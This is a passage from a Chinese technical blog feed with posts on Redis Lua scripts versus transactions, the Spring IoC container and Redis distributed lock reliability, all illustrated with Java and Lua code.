expireMs)</span> &#123;</span><br><span class="line">        DefaultRedisScript&lt;Long&gt; script = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(LOCK_SCRIPT, Long.class);</span><br><span class="line">        <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redis.execute(script, Collections.singletonList(key), threadId, String.valueOf(expireMs));</span><br><span class="line">        <span class="keyword">return</span> result != <span class="literal">null</span> &amp;&amp; result == <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">unlock</span><span class="params">(String key, String threadId)</span> &#123;</span><br><span class="line">        DefaultRedisScript&lt;Long&gt; script = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(UNLOCK_SCRIPT, Long.class);</span><br><span class="line">        <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redis.execute(script, Collections.singletonList(key), threadId);</span><br><span class="line">        <span class="keyword">return</span> result != <span class="literal">null</span> &amp;&amp; result == <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、事务-vs-Lua脚本对比"><a href="#三、事务-vs-Lua脚本对比" class="headerlink" title="三、事务 vs Lua脚本对比"></a>三、事务 vs Lua脚本对比</h2><table><thead><tr><th>特性</th><th>事务</th><th>Lua脚本</th></tr></thead><tbody><tr><td>原子性</td><td>命令批量执行</td><td>脚本整体原子执行</td></tr><tr><td>逻辑判断</td><td>不支持</td><td>支持</td></tr><tr><td>回滚</td><td>不支持</td><td>不支持（但可通过逻辑避免）</td></tr><tr><td>网络往返</td><td>减少（批量）</td><td>极少（一次发送）</td></tr><tr><td>复杂度</td><td>低</td><td>中高</td></tr><tr><td>可维护性</td><td>好</td><td>较差（脚本管理）</td></tr><tr><td>适用场景</td><td>简单批量操作</td><td>需要逻辑判断的原子操作</td></tr></tbody></table><h2 id="四、实际应用场景"><a href="#四、实际应用场景" class="headerlink" title="四、实际应用场景"></a>四、实际应用场景</h2><p>#</p><h2 id="4-1-秒杀系统"><a href="#4-1-秒杀系统" class="headerlink" title="4.1 秒杀系统"></a>4.1 秒杀系统</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 秒杀扣减脚本</span></span><br><span class="line"><span class="keyword">local</span> stockKey = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> userKey = KEYS[<span class="number">2</span>]</span><br><span class="line"><span class="keyword">local</span> userId = ARGV[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 检查用户是否已购买</span></span><br><span class="line"><span class="keyword">local</span> purchased = redis.call(<span class="string">&#x27;sismember&#x27;</span>, userKey, userId)</span><br><span class="line"><span class="keyword">if</span> purchased == <span class="number">1</span> <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>  <span class="comment">-- 已购买</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 检查库存</span></span><br><span class="line"><span class="keyword">local</span> stock = redis.call(<span class="string">&#x27;get&#x27;</span>, stockKey)</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> stock <span class="keyword">or</span> <span class="built_in">tonumber</span>(stock) &lt;= <span class="number">0</span> <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>   <span class="comment">-- 库存不足</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 扣减库存并记录用户</span></span><br><span class="line">redis.call(<span class="string">&#x27;decr&#x27;</span>, stockKey)</span><br><span class="line">redis.call(<span class="string">&#x27;sadd&#x27;</span>, userKey, userId)</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>  <span class="comment">-- 成功</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-滑动窗口限流"><a href="#4-2-滑动窗口限流" class="headerlink" title="4.2 滑动窗口限流"></a>4.2 滑动窗口限流</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 滑动窗口限流脚本</span></span><br><span class="line"><span class="keyword">local</span> key = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> window = <span class="built_in">tonumber</span>(ARGV[<span class="number">1</span>])</span><br><span class="line"><span class="keyword">local</span> limit = <span class="built_in">tonumber</span>(ARGV[<span class="number">2</span>])</span><br><span class="line"><span class="keyword">local</span> now = <span class="built_in">tonumber</span>(ARGV[<span class="number">3</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 移除窗口外的记录</span></span><br><span class="line">redis.call(<span class="string">&#x27;zremrangebyscore&#x27;</span>, key, <span class="number">0</span>, now - window)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取当前窗口内的请求数</span></span><br><span class="line"><span class="keyword">local</span> count = redis.call(<span class="string">&#x27;zcard&#x27;</span>, key)</span><br><span class="line"><span class="keyword">if</span> count &gt;= limit <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>  <span class="comment">-- 限流</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 记录本次请求</span></span><br><span class="line">redis.call(<span class="string">&#x27;zadd&#x27;</span>, key, now, now .. <span class="string">&#x27;:&#x27;</span> .. <span class="built_in">math</span>.<span class="built_in">random</span>())</span><br><span class="line">redis.call(<span class="string">&#x27;expire&#x27;</span>, key, <span class="built_in">math</span>.<span class="built_in">ceil</span>(window / <span class="number">1000</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>  <span class="comment">-- 通过</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-排行榜更新"><a href="#4-3-排行榜更新" class="headerlink" title="4.3 排行榜更新"></a>4.3 排行榜更新</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原子更新排行榜并获取排名</span></span><br><span class="line"><span class="keyword">local</span> key = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> member = ARGV[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> score = <span class="built_in">tonumber</span>(ARGV[<span class="number">2</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 更新分数</span></span><br><span class="line">redis.call(<span class="string">&#x27;zadd&#x27;</span>, key, score, member)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取排名</span></span><br><span class="line"><span class="keyword">local</span> rank = redis.call(<span class="string">&#x27;zrevrank&#x27;</span>, key, member)</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> rank</span><br></pre></td></tr></table></figure><h2 id="五、Lua脚本最佳实践"><a href="#五、Lua脚本最佳实践" class="headerlink" title="五、Lua脚本最佳实践"></a>五、Lua脚本最佳实践</h2><p>#</p><h2 id="5-1-脚本管理"><a href="#5-1-脚本管理" class="headerlink" title="5.1 脚本管理"></a>5.1 脚本管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LuaScriptConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> Map&lt;String, RedisScript&lt;?&gt;&gt; luaScripts() &#123;</span><br><span class="line">        Map&lt;String, RedisScript&lt;?&gt;&gt; scripts = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        scripts.put(<span class="string">&quot;decreaseStock&quot;</span>, </span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(loadScript(<span class="string">&quot;lua/decrease_stock.lua&quot;</span>), Long.class));</span><br><span class="line">        </span><br><span class="line">        scripts.put(<span class="string">&quot;rateLimit&quot;</span>,</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(loadScript(<span class="string">&quot;lua/rate_limit.lua&quot;</span>), Long.class));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> scripts;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">loadScript</span><span class="params">(String path)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> getClass().getClassLoader().getResourceAsStream(path)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(is.readAllBytes(), StandardCharsets.UTF_8);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;加载Lua脚本失败: &quot;</span> + path, e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-脚本调试"><a href="#5-2-脚本调试" class="headerlink" title="5.2 脚本调试"></a>5.2 脚本调试</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用redis-cli调试Lua脚本</span></span><br><span class="line">redis-cli --<span class="built_in">eval</span> script.lua key1 key2 , arg1 arg2</span><br><span class="line"></span><br><span class="line"><span class="comment"># 注意：逗号分隔KEYS和ARGV</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-性能注意"><a href="#5-3-性能注意" class="headerlink" title="5.3 性能注意"></a>5.3 性能注意</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Lua脚本执行时：</span><br><span class="line">1. Redis会阻塞其他命令执行（单线程）</span><br><span class="line">2. 脚本执行时间应尽可能短</span><br><span class="line">3. 避免在脚本中执行复杂循环</span><br><span class="line">4. 大数据量操作使用SCAN替代直接遍历</span><br></pre></td></tr></table></figure><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>简单批量写入</td><td>事务（MULTI/EXEC）</td></tr><tr><td>需要条件判断</td><td>Lua脚本</td></tr><tr><td>库存扣减</td><td>Lua脚本</td></tr><tr><td>分布式锁</td><td>Lua脚本</td></tr><tr><td>限流计数</td><td>Lua脚本</td></tr><tr><td>简单转账</td><td>事务+WATCH</td></tr></tbody></table><p>选择建议：</p><ol><li><strong>简单批量操作</strong>：使用事务</li><li><strong>需要逻辑判断</strong>：使用Lua脚本</li><li><strong>性能敏感</strong>：使用Lua脚本（减少网络往返）</li><li><strong>复杂业务</strong>：考虑在应用层实现，Redis只做存储</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器到底解决了什么"><a href="#Spring-IoC-容器到底解决了什么" class="headerlink" title="Spring IoC 容器到底解决了什么"></a>Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis分布式锁的可靠性</title>
      <link href="//redis-distributed-lock-reliability/"/>
      <url>//redis-distributed-lock-reliability/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis分布式锁的可靠性"><a href="#Redis分布式锁的可靠性" class="headerlink" title="Redis分布式锁的可靠性"></a>Redis分布式锁的可靠性</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Redis分布式锁的基本问题"><a href="#一、Redis分布式锁的基本问题" class="headerlink" title="一、Redis分布式锁的基本问题"></a>一、Redis分布式锁的基本问题</h2><p>#</p><h2 id="1-1-简单SETNX的问题"><a href="#1-1-简单SETNX的问题" class="headerlink" title="1.1 简单SETNX的问题"></a>1.1 简单SETNX的问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 最简单的分布式锁（有问题）</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">lock</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">    <span class="comment">// SET if Not eXists</span></span><br><span class="line">    <span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redis.setnx(key, value);</span><br><span class="line">    <span class="keyword">if</span> (locked) &#123;</span><br><span class="line">        <span class="comment">// 问题1：如果这里程序崩溃，锁永远不会释放</span></span><br><span class="line">        redis.expire(key, <span class="number">30</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> locked;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：</p><ol><li>SETNX和EXPIRE不是原子操作，中间可能崩溃</li><li>没有唯一标识，可能误删别人的锁</li></ol><p>#</p><h2 id="1-2-改进版（SET-NX-EX）"><a href="#1-2-改进版（SET-NX-EX）" class="headerlink" title="1.2 改进版（SET NX EX）"></a>1.2 改进版（SET NX EX）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Redis 2.6.12+ 支持原子操作</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">lock</span><span class="params">(String key, String value, <span class="type">int</span> seconds)</span> &#123;</span><br><span class="line">    <span class="comment">// SET key value NX EX seconds</span></span><br><span class="line">    <span class="comment">// NX: 只有key不存在时才设置</span></span><br><span class="line">    <span class="comment">// EX: 设置过期时间</span></span><br><span class="line">    <span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redis.opsForValue()</span><br><span class="line">        .setIfAbsent(key, value, seconds, TimeUnit.SECONDS);</span><br><span class="line">    <span class="keyword">return</span> Boolean.TRUE.equals(locked);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>仍然存在的问题</strong>：</p><ol><li>锁超时后业务还没执行完</li><li>主从切换时锁丢失</li><li>不可重入</li></ol><h2 id="二、锁超时问题"><a href="#二、锁超时问题" class="headerlink" title="二、锁超时问题"></a>二、锁超时问题</h2><p>#</p><h2 id="2-1-超时导致的问题"><a href="#2-1-超时导致的问题" class="headerlink" title="2.1 超时导致的问题"></a>2.1 超时导致的问题</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A获取锁，过期时间30秒</span><br><span class="line">    │</span><br><span class="line">    ├── 执行业务逻辑（需要40秒）</span><br><span class="line">    │</span><br><span class="line">    ├── 30秒时，锁自动过期</span><br><span class="line">    │       └── 线程B获取锁</span><br><span class="line">    │</span><br><span class="line">    ├── 线程A继续执行（已没有锁）</span><br><span class="line">    │</span><br><span class="line">    └── 线程A执行unlock</span><br><span class="line">            └── 删除了线程B的锁！</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-解决方案一：唯一标识-Lua删除"><a href="#2-2-解决方案一：唯一标识-Lua删除" class="headerlink" title="2.2 解决方案一：唯一标识+Lua删除"></a>2.2 解决方案一：唯一标识+Lua删除</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SafeRedisLock</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">UNLOCK_SCRIPT</span> <span class="operator">=</span> </span><br><span class="line">        <span class="string">&quot;if redis.call(&#x27;get&#x27;, KEYS[1]) == ARGV[1] then &quot;</span> +</span><br><span class="line">        <span class="string">&quot;return redis.call(&#x27;del&#x27;, KEYS[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;else return 0 end&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">lock</span><span class="params">(String key, <span class="type">int</span> seconds)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> UUID.randomUUID().toString();</span><br><span class="line">        <span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redis.opsForValue()</span><br><span class="line">            .setIfAbsent(key, value, seconds, TimeUnit.SECONDS);</span><br><span class="line">        <span class="keyword">if</span> (Boolean.TRUE.equals(locked)) &#123;</span><br><span class="line">            <span class="comment">// 将value保存到ThreadLocal</span></span><br><span class="line">            LockContext.set(key, value);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">unlock</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> LockContext.get(key);</span><br><span class="line">        <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.execute(<span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(UNLOCK_SCRIPT, Long.class), </span><br><span class="line">                Collections.singletonList(key), value);</span><br><span class="line">            LockContext.remove(key);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-解决方案二：看门狗续期"><a href="#2-3-解决方案二：看门狗续期" class="headerlink" title="2.3 解决方案二：看门狗续期"></a>2.3 解决方案二：看门狗续期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Redisson的看门狗机制</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">businessWithLock</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;myLock&quot;</span>);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 不指定leaseTime，启用看门狗</span></span><br><span class="line">        lock.lock();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 业务逻辑执行很长时间</span></span><br><span class="line">        doBusiness();</span><br><span class="line">        </span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        lock.unlock();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 看门狗原理：</span></span><br><span class="line"><span class="comment">// 1. 获取锁后，启动定时任务</span></span><br><span class="line"><span class="comment">// 2. 每隔1/3过期时间续期</span></span><br><span class="line"><span class="comment">// 3. 业务完成解锁后，取消定时任务</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-解决方案三：业务监控-手动续期"><a href="#2-4-解决方案三：业务监控-手动续期" class="headerlink" title="2.4 解决方案三：业务监控+手动续期"></a>2.4 解决方案三：业务监控+手动续期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ManualRenewalLock</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">ScheduledExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newScheduledThreadPool(<span class="number">10</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">lockWithRenewal</span><span class="params">(String key, String value, <span class="type">int</span> expireSeconds)</span> &#123;</span><br><span class="line">        <span class="comment">// 获取锁</span></span><br><span class="line">        <span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redis.opsForValue()</span><br><span class="line">            .setIfAbsent(key, value, expireSeconds, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (!Boolean.TRUE.equals(locked)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;获取锁失败&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 启动续期任务</span></span><br><span class="line">        ScheduledFuture&lt;?&gt; future = executor.scheduleAtFixedRate(() -&gt; &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">script</span> <span class="operator">=</span> </span><br><span class="line">                <span class="string">&quot;if redis.call(&#x27;get&#x27;, KEYS[1]) == ARGV[1] then &quot;</span> +</span><br><span class="line">                <span class="string">&quot;return redis.call(&#x27;expire&#x27;, KEYS[1], ARGV[2]) &quot;</span> +</span><br><span class="line">                <span class="string">&quot;else return 0 end&quot;</span>;</span><br><span class="line">            </span><br><span class="line">            redis.execute(<span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(script, Long.class),</span><br><span class="line">                Collections.singletonList(key), value, String.valueOf(expireSeconds));</span><br><span class="line">        &#125;, expireSeconds / <span class="number">3</span>, expireSeconds / <span class="number">3</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            doBusiness();</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="comment">// 取消续期</span></span><br><span class="line">            future.cancel(<span class="literal">false</span>);</span><br><span class="line">            <span class="comment">// 释放锁</span></span><br><span class="line">            unlock(key, value);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、主从切换问题"><a href="#三、主从切换问题" class="headerlink" title="三、主从切换问题"></a>三、主从切换问题</h2><p>#</p><h2 id="3-1-问题场景"><a href="#3-1-问题场景" class="headerlink" title="3.1 问题场景"></a>3.1 问题场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景：Redis主从架构</span><br><span class="line"></span><br><span class="line">1. 客户端A在Master上获取锁</span><br><span class="line">   SET mylock value NX EX 30</span><br><span class="line">   </span><br><span class="line">2. Master还没同步到Slave就宕机</span><br><span class="line"></span><br><span class="line">3. Slave提升为新的Master</span><br><span class="line"></span><br><span class="line">4. 客户端B在新Master上获取锁</span><br><span class="line">   SET mylock value2 NX EX 30  ← 成功！</span><br><span class="line"></span><br><span class="line">结果：客户端A和B同时持有锁！</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-RedLock算法"><a href="#3-2-RedLock算法" class="headerlink" title="3.2 RedLock算法"></a>3.2 RedLock算法</h2><p>Redis作者Antirez提出的RedLock算法：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">RedLock需要在多个独立的Redis实例上获取锁：</span><br><span class="line"></span><br><span class="line">┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐</span><br><span class="line">│Redis A  │  │Redis B  │  │Redis C  │  │Redis D  │  │Redis E  │</span><br><span class="line">│:6379    │  │:6380    │  │:6381    │  │:6382    │  │:6383    │</span><br><span class="line">└────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘</span><br><span class="line">     │            │            │            │            │</span><br><span class="line">     └────────────┴────────────┼────────────┴────────────┘</span><br><span class="line">                               │</span><br><span class="line">                          客户端尝试在所有节点获取锁</span><br></pre></td></tr></table></figure><p><strong>算法步骤</strong>：</p><ol><li>获取当前时间戳（毫秒）</li><li>依次在N个Redis实例上尝试获取锁<ul><li>使用相同的key和value</li><li>设置超时时间（如100ms）</li><li>如果某个实例获取失败，立即尝试下一个</li></ul></li><li>计算获取锁的总耗时</li><li>如果成功获取了大多数实例的锁（如5个中获取3个），且总耗时小于锁过期时间，则认为获取锁成功</li><li>如果获取失败，在所有实例上释放锁</li></ol><p>#</p><h2 id="3-3-Redisson实现RedLock"><a href="#3-3-Redisson实现RedLock" class="headerlink" title="3.3 Redisson实现RedLock"></a>3.3 Redisson实现RedLock</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedLockConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedissonRedLock <span class="title function_">redLock</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Config</span> <span class="variable">config1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Config</span>();</span><br><span class="line">        config1.useSingleServer().setAddress(<span class="string">&quot;redis://192.168.1.101:6379&quot;</span>);</span><br><span class="line">        <span class="type">RedissonClient</span> <span class="variable">redisson1</span> <span class="operator">=</span> Redisson.create(config1);</span><br><span class="line">        </span><br><span class="line">        <span class="type">Config</span> <span class="variable">config2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Config</span>();</span><br><span class="line">        config2.useSingleServer().setAddress(<span class="string">&quot;redis://192.168.1.102:6379&quot;</span>);</span><br><span class="line">        <span class="type">RedissonClient</span> <span class="variable">redisson2</span> <span class="operator">=</span> 